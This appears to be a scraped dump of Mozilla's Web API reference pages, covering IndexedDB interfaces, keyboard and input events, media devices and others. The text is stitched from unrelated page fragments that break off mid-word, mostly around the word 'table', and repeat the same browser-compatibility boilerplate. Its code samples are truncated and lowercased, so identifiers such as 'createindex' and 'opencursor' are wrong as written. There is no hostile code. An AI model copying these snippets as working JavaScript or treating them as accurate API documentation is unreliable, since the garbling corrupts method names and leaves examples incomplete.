table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperboundchrome full support ...
IDBKeyRange.upperOpen - Web APIs
console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperopen' in that specification. recommendation indexed database api draftthe definition of 'upperopen' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperopenchrome full support ...
IDBKeyRange - Web APIs
s all displayed.'); } }; } specifications specification status comment indexed database api 2.0the definition of 'idbkeyrange' in that specification. recommendation initial definition. indexed database api draftthe definition of 'idbkeyrange' in that specification. recommendation adds includes(). browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbkeyrangechrome full support ...
IDBObjectStore.add() - Web APIs
f our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'add()' in that specification. recommendation indexed database api draftthe definition of 'add()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaddchrome full support ...
IDBObjectStore.autoIncrement - Web APIs
note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification. recommendation indexed database api draftthe definition of 'autoincrement' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetautoincrementchrome full support ...
IDBObjectStore.clear() - Web APIs
our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'clear()' in that specification. recommendation indexed database api draftthe definition of 'clear()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclearchrome full support ...
IDBObjectStore.count() - Web APIs
untrequest.onsuccess = function() { console.log(countrequest.result); } specification specification status comment indexed database api 2.0the definition of 'count()' in that specification. recommendation indexed database api draftthe definition of 'count()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountchrome full support ...
IDBObjectStore.createIndex() - Web APIs
e.createindex("notified", "notified", { unique: false }); }; specifications specification status comment indexed database api 2.0the definition of 'createindex()' in that specification. recommendation indexed database api draftthe definition of 'createindex()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateindexchrome full support ...
IDBObjectStore.delete() - Web APIs
ur request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'delete()' in that specification. recommendation indexed database api draftthe definition of 'delete()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeletechrome full support ...
IDBObjectStore.deleteIndex() - Web APIs
teindex("seconds"); objectstore.deleteindex("contact"); }; specifications specification status comment indexed database api 2.0the definition of 'deleteindex()' in that specification. recommendation indexed database api draftthe definition of 'deleteindex()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeleteindexchrome full support ...
IDBObjectStore.get() - Web APIs
st successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification. recommendation indexed database api draftthe definition of 'get()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetchrome full support ...
IDBObjectStore.getKey() - Web APIs
y, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification. recommendation initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkeychrome full support ...
IDBObjectStore.indexNames - Web APIs
equest note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification. recommendation indexed database api draftthe definition of 'indexnames' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexnameschrome full support ...
IDBObjectStore.keyPath - Web APIs
our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification. recommendation indexed database api draftthe definition of 'keypath' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypathchrome full support ...
IDBObjectStore.name - Web APIs
ess of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification. recommendation indexed database api draftthe definition of 'name' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support ...
IDBObjectStore.openCursor() - Web APIs
cursor.continue(); } else { // no more results } }; specification specification status comment indexed database api 2.0the definition of 'opencursor()' in that specification. recommendation indexed database api draftthe definition of 'opencursor()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursorchrome full support ...
IDBObjectStore.put() - Web APIs
the display updatetitlerequest.onsuccess = () => { displaydata(); }; }; specification specification status comment indexed database api 2.0the definition of 'put()' in that specification. recommendation indexed database api draftthe definition of 'put()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetputchrome full support ...
IDBObjectStore.transaction - Web APIs
uest note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support ...
IDBObjectStore - Web APIs
ent) { note.innerhtml += '<li>request successful .</li>'; } specifications specification status comment indexed database api 2.0the definition of 'idbobjectstore' in that specification. recommendation indexed database api draftthe definition of 'idbobjectstore' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbobjectstorechrome full support ...
IDBOpenDBRequest.onblocked - Web APIs
rsion can't be upgraded because the app is open somewhere else."); } specifications specification status comment indexed database api 2.0the definition of 'onblocked' in that specification. recommendation indexed database api draftthe definition of 'onblocked' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblockedchrome full support ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
db = request.result; populateanddisplaydata(); }; specifications specification status comment indexed database api 2.0the definition of 'onupgradeneeded' in that specification. recommendation indexed database api draftthe definition of 'onupgradeneeded' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneededchrome full support ...
IDBRequest.error - Web APIs
en an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specification status comment indexed database api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support ...
IDBRequest.onerror - Web APIs
out event parameter into onerror()? what will be inside of this event? }; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support ...
IDBRequest.onsuccess - Web APIs
pdatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification. recommendation indexed database api draftthe definition of 'onsuccess' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccesschrome full support ...
IDBRequest.readyState - Web APIs
atetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification. recommendation indexed database api draftthe definition of 'readystate' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadystatechrome full support ...
IDBRequest.result - Web APIs
ay updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification. recommendation indexed database api draftthe definition of 'result' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetresultchrome full support ...
IDBRequest.source - Web APIs
isplay updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification. recommendation indexed database api draftthe definition of 'source' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support ...
IDBRequest.transaction - Web APIs
{ console.log(openrequest.transaction); // will log "null". }; specifications specification status comment indexed database api 2.0the definition of 'transaction' in that specification. recommendation indexed database api draftthe definition of 'transaction' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettransactionchrome full support ...
IDBTransaction.objectStoreNames - Web APIs
s a domstringlist of names of idbobjectstore objects. specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification. recommendation indexed database api draftthe definition of 'objectstorenames' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support ...
IDBTransaction.abort() - Web APIs
.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'abort()' in that specification. recommendation indexed database api draftthe definition of 'abort()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetabortchrome full support ...
IDBTransaction.commit() - Web APIs
onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification. recommendation unitial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommitchrome full support ...
IDBTransaction.db - Web APIs
bdatabase) connection with which this transaction is associated transaction.db; }; specification specification status comment indexed database api 2.0the definition of 'db' in that specification. recommendation indexed database api draftthe definition of 'db' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdbchrome full support ...
IDBTransaction.error - Web APIs
saction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'error' in that specification. recommendation indexed database api draftthe definition of 'error' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support ...
IDBTransaction.mode - Web APIs
n has been opened in (should be "readwrite" in this case) transaction.mode; }; specification specification status comment indexed database api 2.0the definition of 'mode' in that specification. recommendation indexed database api draftthe definition of 'mode' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmodechrome full support ...
IDBTransaction.objectStore() - Web APIs
note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexed database api 2.0the definition of 'objectstore()' in that specification. recommendation indexed database api draftthe definition of 'objectstore()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorechrome full support ...
IDBTransaction.onabort - Web APIs
"); }; // abort the transaction we just did transaction.abort(); }; specification specification status comment indexed database api 2.0the definition of 'onabort' in that specification. recommendation indexed database api draftthe definition of 'onabort' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support ...
IDBTransaction.oncomplete - Web APIs
omplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'oncomplete' in that specification. recommendation indexed database api draftthe definition of 'oncomplete' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoncompletechrome full support ...
IDBTransaction.onerror - Web APIs
ion.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'onerror' in that specification. recommendation indexed database api draftthe definition of 'onerror' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support ...
IDBTransaction - Web APIs
'<li>request successful.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'idbtransaction' in that specification. recommendation initial definition indexed database api draftthe definition of 'idbtransaction' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbtransactionchrome full support ...
IDBVersionChangeEvent.newVersion - Web APIs
opening transactions and suchlike. db = dbopenrequest.result; }; specifications specification status comment indexed database api 2.0the definition of 'newversion' in that specification. recommendation indexed database api draftthe definition of 'newversion' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnewversionchrome full support ...
IDBVersionChangeEvent.oldVersion - Web APIs
reateobjectstore("store2"); } // etc. for version < 3, 4... }; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification. recommendation indexed database api draftthe definition of 'oldversion' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoldversionchrome full support ...
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction. warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes. see the compatibility
table to know what browsers support them. syntax readonly attribute unsigned long long? version; value a 64-bit integer. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on ios...
IDBVersionChangeEvent - Web APIs
bversionchangeevent.newversion read only returns the new version of the database. deprecated properties idbversionchangeevent.version read only the new version of the database in a versionchange transaction. warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes. see the compatibility
table to know what browsers support them. methods no specific method, but inherits properties from its parent, method. example in the following code snippet, we make a request to open a database, and include handlers for the success and error cases. upon a version change (after an upgradedneeded event), the success event will implement the idbversionchangeevent interface. for a full working ex...
IDBVersionChangeRequest.setVersion() - Web APIs
nd delete object stores in the onupgradeneeded event handler associated with the returned request. syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangerequest the request to change the version of a database. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetversion deprecatednon-standardchrome no suppor...
IIRFilterNode() - Web APIs
|| window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constructorchrome full support ...
ImageCapture.takePhoto() - Web APIs
img.classlist.remove('hidden'); img.src = url.createobjecturl(blob); }).catch(function(error) { console.log('takephoto() error: ', error); }); } specifications specification status comment mediastream image capturethe definition of 'takephoto()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimentalchrome full support ...
IndexedDB API - Web APIs
db api is powerful, but may seem too complicated for simple cases. if you'd prefer a simple api, try libraries such as localforage, dexie.js, zangodb, pouchdb, idb, idb-keyval, jsstore and lovefield that make indexeddb more programmer-friendly. key concepts and usage indexeddb is a transactional database system, like an sql-based rdbms. however, unlike sql-based rdbmses, which use fixed-column
tables, indexeddb is a javascript-based object-oriented database. indexeddb lets you store and retrieve objects that are indexed with a key; any objects supported by the structured clone algorithm can be stored. you need to specify the database schema, open a connection to your database, and then retrieve and update data within a series of transactions. read more about the concepts behind indexeddb.
InputEvent.data - Web APIs
xamples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input. <p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var edi
table = document.queryselector('input') var result = document.queryselector('.result'); edi
table.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification. working draft initial definition. ...
InputEvent.getTargetRanges() - Web APIs
the input event is not canceled. syntax var staticranges[] = inputevent.gettargetranges() parameters none. return value an array of staticrange objects. specifications specification status comment input events level 2the definition of 'gettargetranges()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettargetranges experimentalchrome full support ...
Intersection Observer API - Web APIs
ses the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space. the list of visibility ratio thresholds, threshold, is constructed by the function buildthresholdlist(). the threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjus
table. once options is ready, we create the new observer, calling the intersectionobserver() constructor, specifying a function to be called when intersection crosses one of our thresholds, handleintersect(), and our set of options. we then call observe() on the returned observer, passing into it the desired target element. we could opt to monitor multiple elements for visibility intersection changes...
KeyboardEvent.charCode - Web APIs
tually with the chinese ime i'm using, entering the ime results in a keypress event with keycode = 229 and no other key events fire until the ime exits (which may happen after multiple characters are inputted). i'm not sure if other ime's work this way. for a list of the charcode values associated with particular keys, run example 7: displaying event object properties and view the resulting html
table. specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.charcode' in that specification. obsolete initial definition; specified as deprecated ...
KeyboardEvent.keyCode - Web APIs
if the key can't be identified, this value is 0. you should avoid using this if possible; it's been deprecated for some time. instead, you should use keyboardevent.code, if it's implemented. unfortunately, some browsers still don't have it, so you'll have to be careful to make sure you use one which is supported on all target browsers. web developers shouldn't use the keycode attribute for prin
table characters when handling keydown and keyup events. as described above, the keycode attribute is not useful for prin
table characters, especially those input with the shift or alt key pressed. when implementing a shortcut key handler, the keypress event is usually better (at least when gecko is the runtime in use). see gecko keypress event for details. example window.addeventlistener("keydown", ...
KeyframeEffect - Web APIs
these can then be played using the animation() constructor. constructor keyframeeffect() returns a new keyframeeffect object instance, and also allows you to clone an existing keyframe effect object instance. properties keyframeeffect.target gets and sets the element, or originating element of the pseudo-element, being animated by this object. this may be null for animations that do not target a specific element or pseudo-element. keyframeeffect.pseudoelement gets and sets the selector of the pseudo-element being animated by this object. ...
LocalFileSystem - Web APIs
raise an fileerror with the following code: exception description encoding_err the syntax of the url was invalid. not_found_err the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "api.localfilesystem" (depth: 1) to the mdn compatibility data repository. ...
LocalFileSystemSync - Web APIs
e a fileexception with the following codes: exception description encoding_err the syntax of the url was invalid. not_found_err the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "api.localfilesystemsync" (depth: 1) to the mdn compatibility data repository. ...
Location - Web APIs
id="href" title="href"><span id="protocol" title="protocol">http:</span>//<span id="host" title="host"><span id="hostname" title="hostname">example.org</span>:<span id="port" title="port">8888</span></span><span id="pathname" title="pathname">/foo/bar</span><span id="search" title="search">?q=baz</span><span id="hash" title="hash">#bang</span></span> css html, body {height:100%;} html {display:
table; width:100%;} body {display:
table-cell; text-align:center; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {content:attr(title); font-family:monospace; position:absolute; top:100%; width:100%; le...
MSGestureEvent - Web APIs
alizes the value of an msgestureevent. if the event has already being dispatched, this method does nothing. this method is deprecated as of microsoft edge. gesture event types msgesturestart msgestureend msgesturetap msgesturehold msgesturechange msinertiastart specifications not part of any specification. microsoft has a description on msdn. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmsgestureevent non-standardchrome no support ...
MediaDeviceInfo.deviceId - Web APIs
te browsing, a different identifier is used that is not persisted across sessions. syntax var deviceid = mediadeviceinfo.deviceid value a domstring. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdeviceidchrome full support ...
MediaDeviceInfo.kind - Web APIs
rface returns an enumerated value, that is either "videoinput", "audioinput" or "audiooutput". syntax var kind = mediadeviceinfo.kind value a domstring. specifications specification status comment media capture and streamsthe definition of 'kind' in that specification. candidate recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkindchrome full support ...
MediaDevices.getDisplayMedia() - Web APIs
s object. return value a promise that resolves to a mediastream containing a video track whose contents come from a user-selected screen area, as well as an optional audio track. note: browser support for audio tracks varies, both in terms of whether or not they're supported at all by the media recorder and in terms of the which audio source or sourcoes are supported. check the compatibility
table for details for each browser. exceptions rejections of the returned promise are made by passing a domexception error object to the promise's failure handler. possible errors are: aborterror an error or failure that doesn't match any of the other exceptions below occurred. invalidstateerror the call to getdisplaymedia() was not made from code running due to a user action, such as an event...
MediaError.code - Web APIs
media from being successfully fetched, despite having previously been available. media_err_decode 3 despite having previously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. media_err_src_not_supported 4 the associated resource or media provider object (such as a mediastream) has been found to be unsui
table. example this example creates a <video> element, establishes an error handler for it, and then sets the element's src attribute to the video resource to present in the element. the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; sp...
MediaError - Web APIs
